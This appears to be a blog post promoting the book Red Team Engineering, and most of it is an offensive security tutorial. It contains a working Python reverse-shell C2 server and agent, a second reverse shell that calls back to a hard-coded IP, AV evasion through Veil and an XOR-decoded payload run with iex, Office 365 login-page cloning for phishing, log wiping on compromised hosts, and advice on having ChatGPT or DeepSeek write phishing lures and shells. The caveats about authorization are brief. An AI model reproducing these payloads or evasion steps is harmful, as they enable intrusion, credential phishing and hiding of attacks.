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Introduction
In the ever-evolving landscape of cybersecurity, red teaming has become an indispensable practice for organizations to test their defenses against real-world adversaries. The release of Red Team Engineering by Casey Erdmann, published by No Starch Press and technically reviewed by industry expert Cliff Janzen, marks a significant contribution to the field. This book goes beyond basic penetration testing, focusing on the engineering mindset required to develop, deploy, and sustain custom offensive security tooling. As red teams face increasingly sophisticated defenses, mastering the art of tool development and operational security is no longer optional—it is a core competency.
Learning Objectives
- Understand the fundamental principles of red team engineering and how they differ from traditional penetration testing.
- Learn to design and implement custom command and control (C2) frameworks, phishing campaigns, and evasion techniques.
- Gain hands‑on experience with practical commands, code snippets, and tool configurations across Linux and Windows environments.
You Should Know
1. Building a Red Team Lab: The Foundation
Before you can engineer red team tools, you need a safe, isolated environment to test and refine them. A well‑structured lab mimics a target network and allows you to experiment without legal or ethical repercussions.
Step‑by‑step guide:
- Install Virtualization Software – Use VirtualBox or VMware Workstation on your host machine.
- Create a Private Network – Set up a host‑only adapter (e.g., `vboxnet0` on Linux) to isolate your lab VMs from the internet.
- Deploy Target Machines – Install a Windows 10/11 VM (for client simulation) and a Windows Server VM (for Active Directory). Use evaluation ISOs from Microsoft.
- Set Up an Attack Machine – Install Kali Linux (or Parrot OS) with all necessary tools.
- Configure Networking – Ensure all VMs can communicate with each other. On Linux, use `ifconfig` or `ip a` to verify IP addresses; on Windows, use
ipconfig. - Snapshot Your Base Configurations – Take clean snapshots before any attack to easily revert to a pristine state.
This lab will serve as your playground for developing and testing custom red team tools.
- Developing a Custom Command & Control (C2) Framework
Commercial C2 frameworks are powerful, but building your own teaches you the intricacies of communication channels, encryption, and evasion. Below is a minimal Python‑based C2 server and agent example.
C2 Server (listener.py)
import socket
import threading
def handle_client(conn):
while True:
cmd = input("Shell> ")
conn.send(cmd.encode())
if cmd.lower() == "exit":
break
output = conn.recv(4096).decode()
print(output)
conn.close()
def start_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 4443))
server.listen(1)
print("[+] Listening on port 4443...")
conn, addr = server.accept()
print(f"[+] Connection from {addr}")
handle_client(conn)
if <strong>name</strong> == "<strong>main</strong>":
start_server()
Agent (agent.py) – to be run on the target
import socket
import subprocess
import os
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.101", 4443)) Replace with C2 server IP
while True:
cmd = s.recv(1024).decode()
if cmd.lower() == "exit":
break
try:
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
except Exception as e:
s.send(str(e).encode())
s.close()
if <strong>name</strong> == "<strong>main</strong>":
connect()
What it does:
- The server listens for incoming connections, accepts one, and provides an interactive shell.
- The agent connects back to the server, executes commands, and returns the output.
- This simple framework can be extended with encryption (e.g., AES), staging, and multi‑threading.
3. Implementing Phishing Campaigns with GoPhish
Phishing remains a top initial access vector. GoPhish is an open‑source phishing framework that simplifies campaign management.
Installation on Kali Linux:
sudo apt update sudo apt install gophish
Alternatively, download the latest release from GitHub and run the binary.
Step‑by‑step configuration:
- Start GoPhish: `sudo ./gophish` (the default admin server runs on
127.0.0.1:3333). - Access the web interface at `https://127.0.0.1:3333` with the credentials displayed in the terminal.
3. Set up an Email Profile with your SMTP server details (use a disposable domain or a legitimate service with proper SPF/DKIM).
4. Create a Landing Page by cloning a legitimate login page (e.g., Office 365) – GoPhish can fetch and clone the HTML.
5. Design a Phishing Email with a convincing subject and body.
6. Launch the campaign and monitor results in real time.Pro tip: Use URL shorteners and redirectors to hide the final destination. Always obtain proper authorization before testing.
4. Evading Antivirus with Obfuscation and Packers
Modern AV solutions rely heavily on signature and heuristic detection. Red teamers must be able to modify their payloads to evade these defenses.
Using Veil‑Evasion (on Kali):
sudo apt install veil-evasion veil
In the Veil menu:
– Type `use 1` to list payloads.
– Select a payload, e.g., python/meterpreter/rev_tcp.py.
– Set options (LHOST, LPORT).
– Generate the payload – Veil will output a hardened executable or script.
Manual obfuscation techniques:
- Base64 encoding: Encode your PowerShell script and execute with
-EncodedCommand. - String splitting: Break suspicious strings into smaller chunks and concatenate at runtime.
- Custom XOR encryption: Encrypt the payload and decrypt it in memory before execution.
For example, a simple XOR‑encrypted PowerShell payload:
$key = 0x42
$enc = [byte[]]@(0x70,0x6f,0x77,0x65,0x72,0x73,0x68,0x65,0x6c,0x6c) "powershell" XOR 0x42
$dec = for($i=0;$i -lt $enc.Length;$i++){$enc[$i] -bxor $key}
$decoded = [System.Text.Encoding]::ASCII.GetString($dec)
iex $decoded
This technique helps bypass static signature detection.
5. Active Directory Exploitation with BloodHound
BloodHound maps relationships in Active Directory, revealing attack paths from a compromised user to Domain Admin.
Setup:
- Install Neo4j: `sudo apt install neo4j` (or download from official site).
- Start Neo4j: `sudo neo4j console` and set a password at `http://localhost:7474`.
- Download BloodHound from GitHub and run the executable.
- On the target machine, run the SharpHound collector (C or PowerShell) to gather data:
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp
- Upload the resulting `.zip` file into BloodHound GUI.
Common queries:
- Find all Domain Admins: `MATCH (n:User) WHERE n.domainadmin=true RETURN n`
- Find shortest paths to Domain Admin: Click on a user node and select “Shortest Paths to Domain Admins.”
Practical exploitation: If BloodHound shows that a user has `GenericAll` privileges over another user, you can perform a targeted Kerberoasting attack or reset their password.
6. Red Team Operational Security (OpSec)
Maintaining anonymity and avoiding detection is critical. Red teams use multiple layers of obfuscation to hide their infrastructure.
Using Proxychains and Tor:
- Install Tor: `sudo apt install tor`
- Start Tor service: `sudo systemctl start tor`
- Configure Proxychains (
/etc/proxychains4.conf): ensure the last line reads `socks4 127.0.0.1 9050` - Run tools through proxychains: `proxychains nmap -sT -Pn target.com`
Setting up a redirector:
A redirector (e.g., using Apache or Nginx) forwards traffic from a benign domain to your C2 server, hiding the true backend.
Example Nginx config:
server {
listen 80;
server_name benign-domain.com;
location / {
proxy_pass http://your-c2-server:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Cleaning logs on compromised hosts:
- On Linux: `shred -u ~/.bash_history && history -c`
- On Windows (PowerShell): `Remove-EventLog -LogName ` (requires admin rights)
7. Leveraging AI in Red Teaming
Artificial intelligence is transforming red team operations. AI can automate reconnaissance, generate convincing phishing lures, and even assist in payload creation.
Using ChatGPT for social engineering templates:
“Write a convincing email from IT support asking employees to update their password due to a security breach.” The AI can generate multiple variations, saving time and improving quality.
AI‑powered reconnaissance:
Tools like `theHarvester` can be enhanced with AI to parse and prioritize collected data. Alternatively, use AI APIs to summarize OSINT findings.
Payload generation with AI:
Ask an AI model (e.g., DeepSeek) to write a simple reverse shell in Python, then manually obfuscate it. The AI provides a solid starting point, which you can refine.
Example AI‑generated reverse shell (simplified):
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.100",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
Always audit AI‑generated code for errors and ensure it fits your specific environment.
What Undercode Say
- Key Takeaway 1: Red team engineering is about building sustainable, adaptable tools, not just running scripts. The book by Casey Erdmann emphasizes this engineering mindset, pushing practitioners to think like developers and operators.
- Key Takeaway 2: Hands‑on practice in a lab environment is irreplaceable. From custom C2 frameworks to AI‑assisted payloads, the techniques covered here provide a solid foundation for any red teamer.
- Analysis: As defensive technologies advance, red teams must continuously innovate. The integration of AI into offensive operations is still nascent but holds immense potential. However, with great power comes great responsibility—red team activities must always be conducted ethically and with proper authorization. The release of Red Team Engineering comes at a pivotal time, offering a structured approach to mastering these complex skills.
Prediction
In the next three to five years, AI will become a standard component of red team toolchains, automating reconnaissance, generating polymorphic malware, and even simulating human‑like social engineering at scale. This will force defenders to adopt AI‑driven detection and response mechanisms, leading to an AI arms race. The red teamers who embrace this shift early—armed with the engineering principles outlined in Erdmann’s book—will be the ones who stay ahead of the curve.
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